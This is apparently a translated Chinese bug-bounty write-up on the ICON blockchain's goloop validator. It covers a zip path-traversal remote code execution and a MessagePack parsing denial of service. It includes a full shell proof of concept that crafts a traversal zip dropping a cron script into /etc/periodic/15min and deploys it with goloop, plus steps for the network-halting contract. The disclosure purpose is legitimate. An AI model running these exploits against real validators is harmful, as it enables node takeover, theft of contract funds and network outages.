简介
国外研究人员在 ICON 上发现了一处 RCE 漏洞,但漏洞超出了漏洞赏金计划的范围,但是随后的一次偶然机会,他们发现了 DoS 漏洞,该漏洞可被用来阻止区块链处理交易和创建新块,最终他们获得了25,000 美元赏金。
背景介绍
虽然智能合约在安全方面上投入了很多精力,但在本文中,研究人员选择关注了一个较少被提及的领域——“区块链网络本机代码安全性”。在整个研究过程中,研究人员有了一些有趣的发现,当一个小的编码错误发生在区块链网络的核心本机代码时,它是如何变得至关重要和极其危险的。
选择目标
研究人员一开始并没有打算在十大区块链项目中寻找,而是把目标放在市值达到数亿美元的区块链网络,通过 Imunnifi 平台的筛选,研究人员最终选择了 ICON 项目(市值约 2.5 亿美元),ICON 是一个区块链项目和加密货币,旨在连接各种区块链网络,使它们能够通过名为 ICON Republic 的去中心化网络相互交互。(ICON区块链,也称为ICON Network,由韩国区块链技术公司ICON基金会开发)
准备与设置
第一步是使用 ICON 网站上的官方 Docker 部署本地测试网, Docker 从名为“goloop”的 Github 存储库运行验证器代码,然后按照本手册启动本地网络,对于本次测试,研究人员使用创世文件创建了钱包。
在本地运行 Docker 后,研究人员从 Github 克隆代码,使用 GoLand 打开,并设置到本地 ICON Docker 的远程调试连接,它允许研究人员逐步遵循事务解析过程,并在需要时使用断点。
开始‘狩猎’
区块链网络的代码可能非常复杂,具有众多的攻击面,研究人员决定将注意力集中在处理新事务的过程,这会涉及复杂的解析逻辑。选择这个作为攻击面的另一个原因是,它能够直接处理用户输入,并且可以通过RPC接口和P2P接口激活。另外,假设通过该过程成功利用验证器的话,研究人员就能够通过八卦协议(又称流言协议)自动利用所有验证器。
在深入研究新交易的处理流程后,研究人员选择关注特定的交易类型:新智能合约的部署。ICON 网络支持两种类型的智能合约(在 ICON 生态系统中称为“SCORE”——“可靠环境上的智能合约”)——基于 Java 和基于 Python,部署从 Python SCORE 流程开始。
当用户发送部署新 Python 合约的交易时,Python 合约会打包在 zip 文件中。
一旦验证器完成一些检查(签名验证、gas 等),它就会在本地存储合约,存储是通过文件goloop\service\contract\contractmanager.go
中的函数“storePython”完成的(参见下面的代码),该函数将 zip 文件提取到验证器本地文件系统上的临时文件夹,然后从所有文件的路径中删除共享前缀,但保留路径中未共享的部分。例如,如果 zip 文件包含以下文件:
- hello_world/package.json
- hello_world/internal/init.py
该函数将删除“hello_world”前缀,但会在第二个文件中保留“internal”前缀,然后该函数会将“非共享”路径部分连接到“tmpPath”(这是为此 SCORE 创建的临时文件夹),创建树中的所有文件夹,然后在该文件夹中创建文件并将内容写入。
代码流程如下:
首先,该函数将为合约创建临时文件夹:
然后函数获取“package.json”文件的完整路径并从中提取包名称(又名路径的共享部分,在示例中为“hello_world”):
然后函数将检查 zip 中的所有文件,并检查(第 398 行)文件路径是否从“package.json”文件路径中提取的包名称开头。(“pkgBase”在示例中是“hello_world”。)
如果路径以包名称开头,该函数将从路径中删除这部分(第 401 行)。
有趣的部分发生在第 420 行,执行一些检查后,该函数会将 zip 中的文件名的路径连接到临时文件夹路径。因此,如果zip文件中的路径是“hello_world/internal/init.py”,则删除前缀连接后,创建的文件将是“tempDir/internal/init.py”。
该函数不验证“非共享”路径前缀是否包含“../”,因此,如果该路径与 tmpPath 连接,攻击者就可以自行更改写入文件的位置。
另外,该文件将以 755 权限创建,这意味着将具有执行权限
RCE 利用
基于以上,研究人员可以选择随时写入具有执行权限的文件,包含任何内容,有很多可能的方法可以利用它进行 RCE。快速搜索后,研究人员发现 Docker 配置为定期运行(使用 cronjob)“/etc/periodic/15min/”目录中的所有文件。
例如,攻击者可以将 zip 文件中的路径设置为:
hello_world/../../../../../../etc/periodic/15min/evil
内容设置为:
#!/bin/sh
echo pwnd> /pwnd
#other evil stuff
这样就可以在“/etc/periodic/15min/evil”中创建一个‘恶意’文件, 15 分钟内,Bash 脚本将运行,从而获得 RCE 。
如果文件已经存在,该函数将会覆盖文件,这意味着利用该漏洞还可以选择覆盖其它合约代码,然后调用它们并提取所有资金。
恶意zip文件创建通过以下步骤实现:
- 使用“zip -r”命令创建常规 zip 文件
- 在文本编辑器中编辑 zip 文件并将文件名更改为“遍历路径”文件名
- 使用合约部署方法将恶意 zip 作为交易发送:
./goloop/bin/goloop rpc sendtx deploy /mnt/c/repos/exploit_python_contract/hello.tar — uri http://localhost:9080/api/v3/icon — key_store wallet.json — key_password gochain — nid 0x9383b0 — step_limit 10000000000 — content_type application/zip — param name=Alice
研究人员没有在公共测试网络上测试该漏洞,为了避免恶意攻击者利用,而且一旦该漏洞出现在区块链上,任何人都可以看到它,作为替代方案,研究人员在创建的本地测试网络上测试并成功利用,测试网络运行了最新版本的代码(v1.3.3-1-g733 a19 d9)。
以下是完整的PoC代码:
mkdir hello_world
echo “aaa” >> hello_world/package.json
echo “aaa” >> hello_world/__init__.py
echo “aaa” >> hello_world/hello_world.py
echo “#!/bin/sh” >> hello_world/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
echo “echo pwnd> /pwnd” >> hello_world/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
zip -r hello.tar hello_world/
sed -i ‘$ s/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/etc\/periodic\/15min\/evin/’ hello.tar
./goloop/bin/goloop rpc sendtx deploy hello.tar — uri http://localhost:9080/api/v3/icon — key_store wallet.json — key_password gochain — nid 0x9383b0 — step_limit 10000000000 — content_type application/zip — param name=Alice — debug
路径更改前的压缩文件内容:
路径更改后的压缩文件内容:
但是该漏洞上报ICON后,被告知该漏洞在本地测试网络上有效,但不会在主网络上起作用,因此漏洞被判定为超出赏金范围。
继续尝试
虽然RCE被拒了,但研究人员却学到了很多关于 ICON 网络和代码结构的知识,随后研究人员将关注点转移至 Java SCORE 的部署过程。
创建新的 Java SCORE 并将代码编译为 Java 字节码后,用户需要运行“jar-optimizer”,这是 ICON Foundenton 提供的工具。
optimizer 执行以下任务:
- 验证所使用的 Java 代码是否仅允许 Java 类(以防止使用文件或进程操作等恶意类)。这些安全检查也在验证器上执行,因此在客户端绕过此检查不会产生任何效果
- 优化java字节码以减小文件大小
- 生成一个 API 文件,描述 SCORE 的导出函数、其参数以及函数和参数的类型
研究人员进行了多次测试来尝试绕过类名过滤,都没能成功。然后研究人员尝试将对象作为参数传递给合约导出的函数之一,而不是创建非白名单类的对象(例如 ProcessBuilder 类,主要用于启动新进程)。
但问题在于,对于被利用的函数能够获取的参数类型会有一个验证。研究人员试图通过创建一个获取有效参数的合法函数来绕过此验证,并在运行“jar-optimizer”后手动更改字节码中对象的类型,同时还需要更改 API 文件中函数的签名,因为当 ICON 使用的 Java VM 调用合约中的函数时,会使用到该文件。
API 文件使用 MessagePack 进行编码,这是一种高效的二进制序列化格式,因此,为了修改它,研究人员寻找到一个漂亮且简单的 MsgPack 编辑器,尝试所需的更改、保存后,重新打包 JAR 文件。
在发送交易部署此合约后,研究人员收到了一个交易ID,查看交易状态(使用 icx_getTransactionResult),看到交易状态为“正在执行”,等一会儿后,再次检查,仍然是“正在执行”,研究人员尝试发送另一笔交易并检查其状态,得到了“待处理”响应,“事情变的有意思了!”
检查交易状态:
查看Docker,发现异常:
发生了什么?
通过修改后的 API 文件,似乎被认为是‘异常文件’,但这个异常为什么没能得到正确处理?问题的答案就在解析API文件的代码中,来回顾一下验证 API 文件的“Validate”函数:
可以看到该函数正在使用另一个名为 MethodUnpacker.readFrom 的函数并处理可能的 IOException,函数 MethodUnpacker.readFrom 调用 JAVA MsgPack 库中名为 unpackArrayHeader 的函数:
根据定义,unpackArrayHeader 函数也会抛出 IOException,但是,如果仔细观察,会发现该函数还可以通过调用意外函数来抛出另一种类型的异常:
该函数实际上返回一个 MessagePackException 类型的对象,该对象扩展了 RuntimeException 而不是 IOException:
由于 API 文件被修改,发生了未处理异常,不知何故,这会在验证器的代码中创建‘死循环’,从而阻止其处理其它事务并生成新块。另外,验证器将此交易传播给所有其它验证器,从而导致整个网络停止处理新交易。
顺利获得赏金
研究人员迅速在Immunefi上提交了漏洞报告,同时包含了完整的PoC,虽然报告将漏洞定义为“严重级”,但经过沟通,最终将漏洞定级为了“高“,并归类为”无法创建新区块“,并且,厂商确认该漏洞属于赏金范围,研究人员如愿以偿的获得赏金奖励。
结论
区块链网络由执行复杂逻辑的广泛代码库组成,蕴藏着许多潜在问题。对于赏金猎人来说,该领域非常具有吸引力,甚至比智能合约更加有趣。
功能齐全的调试环境可以简化并加速漏洞搜寻,此外,运气在每个赏金猎人的武器库中都起着至关重要的作用~
以上由骨哥翻译并整理。希望你能有所收获。